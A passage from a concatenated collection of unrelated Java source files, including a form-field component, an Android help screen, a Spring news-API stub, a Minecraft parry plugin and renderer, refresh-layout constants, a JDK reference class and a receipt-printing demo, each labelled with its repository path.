fieldGroup; } public void setFieldGroup(String fieldGroup) { this.fieldGroup = fieldGroup; } public String getMinValue() { return minValue; } public void setMinValue(String minValue) { this.minValue = minValue; } public String getMaxValue() { return maxValue; } public void setMaxValue(String maxValue) { this.maxValue = maxValue; } public boolean isRequired() { return required; } public void setRequired(boolean required) { this.required = required; } public boolean isDisabled() { return disabled; } public void setDisabled(boolean disabled) { this.disabled = disabled; } public List<Map<String, Object>> getCandidateValues() { return candidateValues; } public void setCandidateValues(List<Map<String, Object>> candidateValues) { this.candidateValues = candidateValues; } public String getSuggestValues() { return suggestValues; } public void setSuggestValues(String suggestValues) { this.suggestValues = suggestValues; } @Override public void setContent(Object content) { super.setContent(content); if (content == null) { this.defaultValue = null; return; } if (isDateTypeField()) { this.defaultValue = new SimpleDateFormat("yyyy-MM-dd").format(content); this.content = defaultValue; return; } if (isDateTimeTypeField()) { this.defaultValue = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss").format(content); this.content = defaultValue; return; } this.defaultValue = String.valueOf(content); } private boolean isDateTypeField() { return "date".equals(this.getType()); } private boolean isDateTimeTypeField() { return "date_time".equals(this.getType()); } public FormFieldViewComponent() { super(); this.setComponentType("form-field"); } public String getFieldMessage() { return fieldMessage; } public void setFieldMessage(String fieldMessage) { this.fieldMessage = fieldMessage; } public String getFieldMessageLevel() { return fieldMessageLevel; } public void setFieldMessageLevel(String fieldMessageLevel) { this.fieldMessageLevel = fieldMessageLevel; } public Map<String, Object> addCandidateValue(String value, String displayText) { ensureCandidateValues(); Map<String, Object> cVal = MapUtil.newMap(MapUtil.$("value", value), MapUtil.$("displayText", displayText)); candidateValues.add(cVal); return cVal; } public Map<String, Object> addCandidateValue(String value, String displayText, boolean checked) { ensureCandidateValues(); Map<String, Object> cVal = MapUtil.newMap(MapUtil.$("value", value), MapUtil.$("displayText", displayText), MapUtil.$("checked", checked)); candidateValues.add(cVal); return cVal; } private void ensureCandidateValues() { if (candidateValues == null) { candidateValues = new ArrayList<Map<String, Object>>(); } } @Override protected String getNodeHashcodeStr() { return super.getNodeHashcodeStr()+this.getType()+";"+this.getLabel()+";"+appendCandidateValue(); } private String appendCandidateValue() { try { return DebugUtil.getObjectMapper().writeValueAsString(this.getCandidateValues()); } catch (JsonProcessingException e) { return String.valueOf(this.getCandidateValues()); } } protected String labelImage; public String getLabelImage() { return labelImage; } public void setLabelImage(String labelImage) { this.labelImage = labelImage; } }
doublechaintech/scm-biz-suite
bizcore/WEB-INF/caf_core_src/com/terapico/caf/viewcomponent/FormFieldViewComponent.java
65,699
package com.maxiee.heartbeat.ui; import android.os.Bundle; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.Toolbar; import android.view.MenuItem; import com.maxiee.heartbeat.R; import com.maxiee.heartbeat.ui.adapter.HelpListAdapter; import com.maxiee.heartbeat.ui.common.BaseActivity; import com.maxiee.heartbeat.ui.common.RecyclerInsetsDecoration; import butterknife.Bind; import butterknife.ButterKnife; /** * Created by maxiee on 15/12/15. */ public class HelpCenterActivity extends BaseActivity { public static final String[] TITLES = new String[] { /*1: */ "心动是一款怎样的记录软件", /*2: */ "三级信息结构:标签-事件-感想", /*999: */ "捐赠感谢名单" }; public static final String[] DESCRIPTIONS = new String[] { /*1: */ "心动是一款怎样的记录软件?背后的理念如何?本文将一一进行阐述……", /*2: */ "正如前文中说的,心动改进了传统日记的信息组织方式,也就是心……", /*999: */ "为了表达我的感谢,我建立了这个捐赠感谢名单,每一位捐赠用户……" }; public static final String[] FILENAMES = new String[] { /*1: */ "what_heartbeat_is.html", /*2: */ "label_event_thought.html", /*999: */ "donate_list.html" }; @Bind(R.id.toolbar) Toolbar mToolbar; @Bind(R.id.recyclerview) RecyclerView mRecyclerView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_help_center); ButterKnife.bind(this); setSupportActionBar(mToolbar); getSupportActionBar().setDisplayHomeAsUpEnabled(true); setTitle(getString(R.string.helpcenter)); HelpListAdapter adapter = new HelpListAdapter(TITLES, DESCRIPTIONS, FILENAMES); mRecyclerView.setLayoutManager(new LinearLayoutManager(this)); mRecyclerView.addItemDecoration(new RecyclerInsetsDecoration(this)); mRecyclerView.setAdapter(adapter); } @Override public boolean onOptionsItemSelected(MenuItem item) { int id = item.getItemId(); if (id == android.R.id.home) { this.onBackPressed(); return true; } return super.onOptionsItemSelected(item); } }
maxiee/HeartBeat
app/src/main/java/com/maxiee/heartbeat/ui/HelpCenterActivity.java
65,700
package demo.controller; /** * Created by Administrator on 2016/10/11. */ import com.wordnik.swagger.annotations.Api; import com.wordnik.swagger.annotations.ApiOperation; import demo.service.UserMapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; /** * Created by zhengyunfei on 2016/9/2. * 新闻资讯详情api接口 */ @RestController @Api(value = "d:财富资讯API接口", description = "财富资讯API接口" + "<img src=\"http://www.51xuediannao.com/uploads/allimg/140104/1-140104201953.gif\">" + "<img src=\"http://www.51xuediannao.com/uploads/allimg/140104/1-140104201953.gif\">" + "<img src=\"http://www.51xuediannao.com/uploads/allimg/140104/1-140104201953.gif\">", produces = "application/json") public class NewsController { @Autowired UserMapper userMapper; @ApiOperation(httpMethod = "GET", value = "资讯详情",position = 1,nickname = "资讯详情h5", notes = "" + "<h4>新闻资讯详情h5,直接调url就行</h4>" ) @RequestMapping(value = "/api/news/detail", method = RequestMethod.GET) @ResponseBody public Object investor(@RequestParam String id){ String myJsonData=""; return myJsonData; } @ApiOperation(httpMethod = "POST", value = "资讯列表" + "<img src=\"http://www.51xuediannao.com/uploads/allimg/140104/1-140104201934.gif\">",position = 1,nickname = "资讯列表h5", notes = "" + "<h4>财富资讯url地址:/api/news/list</h4>" + "<h4>传递参数</h4>"+ "<div>" + "pageNow:当前页码 选填<br>" + "pageSize:每页显示条数 选填<br>" + "type:资讯类型 必填<br></div>" + "<h4>type传递参数明细</h4>"+ "<div>type=hyzx 行业资讯<br>" + "type=cfdt 财富动态<br>" + "type=cfgs 财富故事<br>" + "type=mtbd 媒体报道<br>" + "<h4>数据集返回结果-为空时:</h4>" + "<div class=\"block response_body json\"><pre class=\"json\"><code>"+ "{\n" + " \"data\": null, \n" + " \"code\": 1059, \n" + " \"message\": \"没有更多数据了\"\n" + "}"+ "<h4>数据集返回结果:</h4>" + "<div class=\"block response_body json\"><pre class=\"json\"><code>"+ "{\n" + " \"data\": {\n" + " \"news\": [\n" + " {\n" + " \"articleId\": \"2016000000068174\", \n" + " \"articleTitle\": \"精准诊断的4大热点投资领域:生育健康、新药研发……\", \n" + " \"mobileThumbnail\": \"http://www.pestreet.cn/c/freemarker//upload//img//20161117//2016111714015820161116112935713571.jpg\", \n" + " \"sendTime\": \"2016-11-17\"\n" + " }, \n" + " {\n" + " \"articleId\": \"2016000000068172\", \n" + " \"articleTitle\": \"云适配完成1亿元B+轮融资,HTML5行业的颠覆者来了!\", \n" + " \"mobileThumbnail\": \"http://www.pestreet.cn/c/freemarker//upload//img//20161117//2016111710131420161117074148014801.jpg\", \n" + " \"sendTime\": \"2016-11-17\"\n" + " }, \n" + " {\n" + " \"articleId\": \"2016000000068170\", \n" + " \"articleTitle\": \"财富街合伙伙伴启明创投邝子平:10年 27亿美元的背后\", \n" + " \"mobileThumbnail\": \"http://www.pestreet.cn/c/freemarker//upload//img//20161117//2016111710042820161117094579267926.jpg\", \n" + " \"sendTime\": \"2016-11-17\"\n" + " }, \n" + " {\n" + " \"articleId\": \"2016000000068032\", \n" + " \"articleTitle\": \" 财富街合作伙伴华盖资本许小林曝光真实的医疗投资\", \n" + " \"mobileThumbnail\": \"http://www.pestreet.cn/c/freemarker//upload//img//20161110//20161110155233QQ图片20161110153651.png\", \n" + " \"sendTime\": \"2016-11-10\"\n" + " }, \n" + " {\n" + " \"articleId\": \"2016000000068030\", \n" + " \"articleTitle\": \"金融风暴中 “不缩水”的兆亿产业 让投资有方向!\", \n" + " \"mobileThumbnail\": \"http://www.pestreet.cn/c/freemarker//upload//img//20161110//2016111014110190Z58PIC9yu_1024.jpg\", \n" + " \"sendTime\": \"2016-11-10\"\n" + " }, \n" + " {\n" + " \"articleId\": \"2016000000068033\", \n" + " \"articleTitle\": \"2016中国股权投资:投资TMT仍最赚钱!\", \n" + " \"mobileThumbnail\": \"http://www.pestreet.cn/c/freemarker//upload//img//20161110//20161110171744QQ图片20161110171427.png\", \n" + " \"sendTime\": \"2016-11-10\"\n" + " }\n" + " ]\n" + " }, \n" + " \"code\": 0, \n" + " \"message\": \"成功\"\n" + "}\n" + "</div>" ) @RequestMapping(value = "/api/news/list", method = RequestMethod.POST) @ResponseBody public Object findList(){ String myJsonData=""; return myJsonData; } }
zhengyunfei/springboot
src/main/java/demo/controller/NewsController.java
65,701
package hszy.ydy.sekiro; import org.bukkit.Location; import org.bukkit.Material; import org.bukkit.NamespacedKey; import org.bukkit.Sound; import org.bukkit.enchantments.Enchantment; import org.bukkit.entity.Damageable; import org.bukkit.entity.Entity; import org.bukkit.entity.Player; import org.bukkit.event.EventHandler; import org.bukkit.event.Listener; import org.bukkit.event.entity.EntityDamageByEntityEvent; import org.bukkit.inventory.ItemStack; import org.bukkit.util.Vector; import java.util.List; public class MyListener implements Listener { /*抽取tips*/ public static String RandomStr(List<String> s){ int random_index = (int) (Math.random()*s.size()); return s.get(random_index); } /*判断弹反角度*/ public static boolean isAllowBlock(Location e1,Location e2,Location eyeLocation,int angle){ /*e1是自己的坐标e2是别人的坐标*/ //视线方向矢量 Vector sight = eyeLocation.getDirection(); //对方相对于自己矢量 Vector dmger = e2.subtract(e1).toVector(); //检测夹角 return (dmger.angle(sight)<=angle); } /*判断惩罚伤害*/ public static double punish(Location e1,Location e2,Location eye){ double re; if(isAllowBlock(e1,e2,eye,Sekiro.angle))re=Sekiro.punishment1; else if(isAllowBlock(e1,e2,eye,90))re=Sekiro.punishment2; else re=Sekiro.punishment3; return re; } /*危和死特效*/ public static void weiordie(Player p1,Entity p2,double nowhealth){ if(nowhealth <= 6 && nowhealth > 0){ p1.sendTitle("§4§l危",RandomStr(Sekiro.tips),30,40,30); p1.playSound(p1.getLocation(), Sound.BLOCK_END_PORTAL_SPAWN,(float) 1.0,(float) 1.5); if(p2 instanceof Player)((Player) p2).playSound(p2.getLocation(), Sound.BLOCK_END_PORTAL_SPAWN,(float) 1.0,(float) 1.5); }else if(nowhealth <= 0){ p1.sendTitle("§4§l死",RandomStr(Sekiro.tips2),30,40,30); p1.playSound(p1.getLocation(), Sound.BLOCK_END_PORTAL_SPAWN,(float) 1.0,(float) 0.9); if(p2 instanceof Player)((Player) p2).playSound(p2.getLocation(), Sound.BLOCK_END_PORTAL_SPAWN,(float) 1.0,(float) 0.9); } } /*检测物品*/ public static boolean checkItem(ItemStack item,Material target){ String ench_s = Sekiro.enchantment; int lvl = Sekiro.enchantedlvl; boolean f1,f2; //检测附魔 Enchantment ench = Enchantment.getByKey(NamespacedKey.minecraft(ench_s)); f1 = (ench==null||(item.getEnchantmentLevel(ench)==lvl)); //检测物品类型 f2 = (item.getType() == target); return f1&&f2; } @EventHandler public void onAttack(EntityDamageByEntityEvent e)// 监听实体攻击事件 { if(e.getEntity() instanceof Player){//是玩家 Player p1 = (Player) e.getEntity(); Entity p2 = e.getDamager(); ItemStack mainHand = p1.getInventory().getItemInMainHand(); ItemStack offHand = p1.getInventory().getItemInOffHand(); boolean flag_=(checkItem(mainHand,Material.SHIELD)||checkItem(offHand,Material.SHIELD)); //检测手里物品 if(flag_) { double dmg = (e.getDamage()); dmg = dmg<0?dmg*(-1):dmg; //flag负责限定弹反范围 boolean flag = isAllowBlock(p1.getLocation(),p2.getLocation(),p1.getEyeLocation(),Sekiro.angle); //弹反成功 if(p1.isHandRaised() && !p1.isBlocking() && flag) { ((Damageable) p2).damage(dmg * Sekiro.magnification,p1); p1.playSound(p1.getLocation(), Sound.ENTITY_ITEM_BREAK,(float) 1.0,(float) 1); if(p2 instanceof Player)((Player) p2).playSound(p2.getLocation(), Sound.ENTITY_ITEM_BREAK,(float) 1.0,(float) 1); e.setCancelled(true); }/*格挡成功*/ else if(p1.isBlocking()){ double punishdmg=dmg*punish(p1.getLocation(),p2.getLocation(),p1.getEyeLocation()); //总不能格挡的时候给震死吧 if(e.getFinalDamage()<0.1) {//挡住了(两种情况) if (p1.getHealth()-punishdmg > 0) { p1.setHealth(p1.getHealth()-punishdmg); } e.setCancelled(true); }else {//没挡住(背后) e.setDamage(punishdmg); //低血量特效 weiordie(p1,p2,p1.getHealth() - e.getFinalDamage()); } } else { //低血量特效 weiordie(p1,p2,p1.getHealth() - e.getFinalDamage()); } } } } }
HuashuiZhuanyong/Sekiro
src/main/java/hszy/ydy/sekiro/MyListener.java
65,702
package io.rong.imkit.widget.refresh.constant; /** 顶部和底部的组件在拖动时候的变换方式 Created by scwang on 2017/5/26. */ @SuppressWarnings("DeprecatedIsStillUsed") public class SpinnerStyle { public static final SpinnerStyle Translate = new SpinnerStyle(0, true, false); /** * Scale 下拉过程中会动态 【测量】(header)和 【布局】(layout)降低app 性能, 官方自带的 Header * 都已经从【Scale】转向【FixedBehind】来提高性能 自定义可以参考官方的 【飞机】【贝塞尔】【快递】等 Header * * @deprecated use {@link SpinnerStyle#FixedBehind} */ @Deprecated public static final SpinnerStyle Scale = new SpinnerStyle(1, true, true); public static final SpinnerStyle FixedBehind = new SpinnerStyle(2, false, false); public static final SpinnerStyle FixedFront = new SpinnerStyle(3, true, false); public static final SpinnerStyle MatchLayout = new SpinnerStyle(4, true, false); public static final SpinnerStyle[] values = new SpinnerStyle[] { Translate, // 平行移动 特点: HeaderView高度不会改变, Scale, // 拉伸形变 特点:在下拉和上弹(HeaderView高度改变)时候,会自动触发OnDraw事件 FixedBehind, // 固定在背后 特点:HeaderView高度不会改变, FixedFront, // 固定在前面 特点:HeaderView高度不会改变, MatchLayout // 填满布局 特点:HeaderView高度不会改变,尺寸充满 RefreshLayout }; public final int ordinal; public final boolean front; public final boolean scale; protected SpinnerStyle(int ordinal, boolean front, boolean scale) { this.ordinal = ordinal; this.front = front; this.scale = scale; } }
rongcloud/android-ui-sdk-set
imkit/src/main/java/io/rong/imkit/widget/refresh/constant/SpinnerStyle.java
65,703
package com.huawei.charging.domain.charge.chargeplan; /** * 套餐背后所绑定的资源 */ public interface Resource { }
alibaba/COLA
cola-samples/charge/src/main/java/com/huawei/charging/domain/charge/chargeplan/Resource.java
65,705
package teamHTBP.vidaReforged.client.model.blockEntities; import com.mojang.blaze3d.vertex.PoseStack; import com.mojang.blaze3d.vertex.VertexConsumer; import com.mojang.math.Axis; import net.minecraft.client.Minecraft; import net.minecraft.client.renderer.MultiBufferSource; import net.minecraft.client.renderer.RenderType; import net.minecraft.client.renderer.blockentity.BlockEntityRenderer; import net.minecraft.client.renderer.blockentity.BlockEntityRendererProvider; import net.minecraft.client.renderer.texture.TextureAtlasSprite; import net.minecraft.resources.ResourceLocation; import net.minecraft.world.inventory.InventoryMenu; import org.joml.Matrix4f; import teamHTBP.vidaReforged.server.blockEntities.CrystalLanternBlockEntity; import teamHTBP.vidaReforged.server.blockEntities.FloatingCrystalBlockEntity; import java.util.Locale; import static teamHTBP.vidaReforged.VidaReforged.MOD_ID; public class CrystalLanternRenderer implements BlockEntityRenderer<CrystalLanternBlockEntity> { private final BlockEntityRendererProvider.Context context; public CrystalLanternRenderer(BlockEntityRendererProvider.Context context){ this.context = context; } @Override public void render(CrystalLanternBlockEntity block, float p_112308_, PoseStack poseStack, MultiBufferSource bufferSource, int lightIn, int layoutIn) { ResourceLocation location = new ResourceLocation(MOD_ID, "block/crystal/gold_crystal_animate"); long time = System.currentTimeMillis(); float angle = (time / 50) % 360; float floatWave = (float) (Math.sin(Math.toRadians(angle)) * 0.4F); final float size = 0.3f; VertexConsumer builder = bufferSource.getBuffer(RenderType.translucent()); poseStack.pushPose(); poseStack.translate(0.50f, 0.6f + 0.2 * floatWave - 0.12f, 0.50f); poseStack.scale(0.3f, 0.3f, 0.3f); poseStack.mulPose(Axis.YP.rotationDegrees(angle)); TextureAtlasSprite atlasTexture = Minecraft.getInstance().getTextureAtlas(InventoryMenu.BLOCK_ATLAS).apply(location); Matrix4f matrixStack = poseStack.last().pose(); float minU = atlasTexture.getU0(); float maxU = atlasTexture.getU1(); float minV = atlasTexture.getV0(); float maxV = atlasTexture.getV1(); //上面 //正面 builder.vertex(matrixStack, 0, 1, 0).color(1, 1, 1, 0.6f).uv(minU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, size).color(1, 1, 1, 0.6f).uv(maxU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, size).color(1, 1, 1, 0.6f).uv(maxU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, size).color(1, 1, 1, 0.6f).uv(minU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); //左边 builder.vertex(matrixStack, 0, 1, 0).color(1, 1, 1, 0.6f).uv(minU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, -size).color(1, 1, 1, 0.6f).uv(maxU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, size).color(1, 1, 1, 0.6f).uv(maxU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, size).color(1, 1, 1, 0.6f).uv(minU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); //背后 builder.vertex(matrixStack, 0, 1, 0).color(1, 1, 1, 0.6f).uv(minU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, -size).color(1, 1, 1, 0.6f).uv(maxU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, -size).color(1, 1, 1, 0.6f).uv(maxU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, -size).color(1, 1, 1, 0.6f).uv(minU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); //背后 builder.vertex(matrixStack, 0, 1, 0).color(1, 1, 1, 0.6f).uv(minU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, size).color(1, 1, 1, 0.6f).uv(maxU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, -size).color(1, 1, 1, 0.6f).uv(maxU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, -size).color(1, 1, 1, 0.6f).uv(minU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); //下面 //正面 builder.vertex(matrixStack, size, 0, size).color(1, 1, 1, 0.6f).uv(minU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, size).color(1, 1, 1, 0.6f).uv(maxU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, size).color(1, 1, 1, 0.6f).uv(maxU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, 0, -1, 0).color(1, 1, 1, 0.6f).uv(minU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); //左边 builder.vertex(matrixStack, -size, 0, size).color(1, 1, 1, 0.6f).uv(minU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, size).color(1, 1, 1, 0.6f).uv(maxU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, -size).color(1, 1, 1, 0.6f).uv(maxU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, 0, -1, 0).color(1, 1, 1, 0.6f).uv(minU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); //背后 builder.vertex(matrixStack, -size, 0, -size).color(1, 1, 1, 0.6f).uv(minU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, -size, 0, -size).color(1, 1, 1, 0.6f).uv(maxU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, -size).color(1, 1, 1, 0.6f).uv(maxU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, 0, -1, 0).color(1, 1, 1, 0.6f).uv(minU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); //背后 builder.vertex(matrixStack, size, 0, -size).color(1, 1, 1, 0.6f).uv(minU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, -size).color(1, 1, 1, 0.6f).uv(maxU, maxV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, size, 0, size).color(1, 1, 1, 0.6f).uv(maxU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); builder.vertex(matrixStack, 0, -1, 0).color(1, 1, 1, 0.6f).uv(minU, minV).uv2(240, 240).normal(1, 0, 0).endVertex(); poseStack.popPose(); } }
DespairP/Vida_Reforged
src/main/java/teamHTBP/vidaReforged/client/model/blockEntities/CrystalLanternRenderer.java
65,706
/* * Copyright (c) 1997, 2017, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package java.lang.ref; /** * Final references, used to implement finalization */ // 特殊的Reference,其唯一的子类Finalizer用来实现finalize()方法背后的细节 class FinalReference<T> extends Reference<T> { public FinalReference(T referent, ReferenceQueue<? super T> q) { super(referent, q); } @Override public boolean enqueue() { throw new InternalError("should never reach here"); } }
kangjianwei/LearningJDK
src/java/lang/ref/FinalReference.java
65,707
package com.lmy.smartrefreshlayout; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.bridge.ReactContextBaseJavaModule; import com.scwang.smartrefresh.layout.constant.SpinnerStyle; import java.util.Collections; import java.util.HashMap; import java.util.Map; import javax.annotation.Nullable; /** * Created by macbook on 2018/6/13. */ public class RCTSpinnerStyleModule extends ReactContextBaseJavaModule { private static final String MODULE_NAME = "RCTSpinnerStyleModule"; public RCTSpinnerStyleModule(ReactApplicationContext reactContext) { super(reactContext); } @Override public String getName() { return MODULE_NAME; } /** * *Translate,//平行移动 特点: HeaderView高度不会改变, *Scale,//拉伸形变 特点:在下拉和上弹(HeaderView高度改变)时候,会自动触发OnDraw事件 *FixedBehind,//固定在背后 特点:HeaderView高度不会改变, *FixedFront,//固定在前面 特点:HeaderView高度不会改变, *MatchLayout//填满布局 * * @return */ @Nullable @Override public Map<String, Object> getConstants() { return Collections.unmodifiableMap(new HashMap<String, Object>(){{ put("translate", SpinnerStyleConstants.TRANSLATE); put("fixBehind",SpinnerStyleConstants.FIX_BEHIND); put("fixFront",SpinnerStyleConstants.FIX_FRONT); put("scale",SpinnerStyleConstants.SCALE); put("matchLayout",SpinnerStyleConstants.MATCH_LAYOUT); }}); } }
react-native-studio/react-native-SmartRefreshLayout
android/src/main/java/com/lmy/smartrefreshlayout/RCTSpinnerStyleModule.java
65,709
package com.jzx.print; import java.util.ArrayList; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import org.apache.commons.lang3.StringUtils; import com.alibaba.fastjson.JSON; import com.jzx.print.analysis.PrintBook; import com.jzx.print.goods.GoodsInfo; import com.jzx.print.utils.PropertiesUtils; import com.jzx.print.utils.ResourcesUtils; /** * 主程序类 * * @author 杨杰 * @version 2018年4月26日 * @see PrintMain * @since */ public class PrintMain { public static void main(String[] args) { System.out.println(">>>>>>>>>>>>>>>>开始打印<<<<<<<<<<<<<<<<<<<"); // 模板解析 String jsonStr = ""; try { jsonStr = new ResourcesUtils().getResource(PropertiesUtils.getString("ext.template")); } catch (Exception e) { e.printStackTrace(); } if (StringUtils.isBlank(jsonStr)) { System.exit(0); return; } PrintBook printBook = JSON.parseObject(jsonStr, PrintBook.class); // 设置打印页眉 Map<String, Object> dataMap = new LinkedHashMap<String, Object>(); dataMap.put("companyName", "茶颜观色(武陵店)"); dataMap.put("merberNo", "1234567890"); dataMap.put("orderNo", "1234567890"); dataMap.put("orderDate", "2018-04-25 15:32:32"); dataMap.put("printDate", "2018-04-25 15:32:32 星期三"); // 设置打印body List<GoodsInfo> goods = new ArrayList<GoodsInfo>(); goods.add(new GoodsInfo("J2EE", "11800", "1", "11800")); goods.add(new GoodsInfo("大数据", "14800", "1", "14800")); goods.add(new GoodsInfo("前端", "11800", "1", "11800")); dataMap.put("goodInfos", goods); // 设置打印页脚 dataMap.put("goodsCount", "3"); dataMap.put("totalmoney", "38400"); dataMap.put("actualmoney", "38400"); dataMap.put("changemoney", "0"); dataMap.put("operatorname", "茶颜观色"); dataMap.put("score", "10"); dataMap.put("address", "常德水星楼(苏宁电器背后、麦当劳斜对面)"); // 输出打印 PrintTicket printTicket = new PrintTicket(printBook, dataMap); printTicket.printer(); System.out.println(">>>>>>>>>>>>>>>>结束打印<<<<<<<<<<<<<<<<<<<"); } }
hncdyj123/ticket-print
src/main/java/com/jzx/print/PrintMain.java
65,711
/** * Tencent is pleased to support the open source community by making APT available. * Copyright (C) 2014 THL A29 Limited, a Tencent company. All rights reserved. * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package com.tencent.wstt.apt.util; import org.eclipse.jface.dialogs.MessageDialog; import org.eclipse.ui.PlatformUI; import com.tencent.wstt.apt.console.APTConsoleFactory; import com.tencent.wstt.apt.data.Constant; import com.tencent.wstt.apt.data.TestSence; import com.tencent.wstt.apt.ui.views.DevicesView; import com.tencent.wstt.apt.ui.views.SettingView; /** * @Description * 测试配置的工具类 (1)更新当前的测试参数 (2)检查当前的测试参数是否合法 * @date 2013年11月10日 下午6:23:11 * */ public class TestSenceUtil { /** * @Description 获取当前的测试设置 * @param @return * @return boolean * @throws */ public static boolean update() { DevicesView dvPart = (DevicesView) PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView(DevicesView.ID); SettingView svPart = (SettingView) PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView(SettingView.ID); if(dvPart==null||svPart==null) { return false; } /** * 用这种方式获取测试参数的方式有很大的问题 * 比如用户设置完后,关闭了settings页面,然后点击开始测试 * * 理想的方式应该是用编辑器实现,页面背后对应一个xml文件进行存储 */ dvPart.getTargetPkgInfoList(); svPart.getTestArgs(); return true; } /** * @Description 检查当前测试设置是否准确 * @param @return * @return boolean * @throws */ public static boolean verifyTestSence() { //检查被测进程 if(TestSence.getInstance().pkgInfos.size() == 0) { String info = "请选择被测进程"; APTConsoleFactory.getInstance().APTPrint(info); MessageDialog.openWarning(PlatformUI.getWorkbench().getDisplay().getActiveShell(), "提示", info); return false; } //检查开关状态 int testItemCount = 0; for(int i = 0; i < Constant.TEST_ITEM_COUNT; i++) { if(TestSence.getInstance().itemTestSwitch[i]) { testItemCount++; } } if(testItemCount == 0) { String info = "至少选择一项进行测试"; APTConsoleFactory.getInstance().APTPrint(info); MessageDialog.openWarning(PlatformUI.getWorkbench().getDisplay().getActiveShell(), "提示", info); return false; } if(TestSence.getInstance().itemTestSwitch[Constant.MEM_INDEX] && testItemCount > 1) { String info = "同时测试内存和CPU,会影响到CPU的测试结果"; APTConsoleFactory.getInstance().APTPrint(info); if(!MessageDialog.openConfirm(PlatformUI.getWorkbench().getDisplay().getActiveShell(), "提示", info)) { return false; } } if(TestSence.getInstance().itemTestPeriod[Constant.CPU_INDEX] < Constant.TOP_UPDATE_PERIOD*1000) { String info = "CPU检测周期建议设置为3秒"; APTConsoleFactory.getInstance().APTPrint(info); MessageDialog.openWarning(PlatformUI.getWorkbench().getDisplay().getActiveShell(), "提示", info); return false; } return true; } }
Tencent/GT
APT_Eclipse_Plugin/src/com/tencent/wstt/apt/util/TestSenceUtil.java
65,712
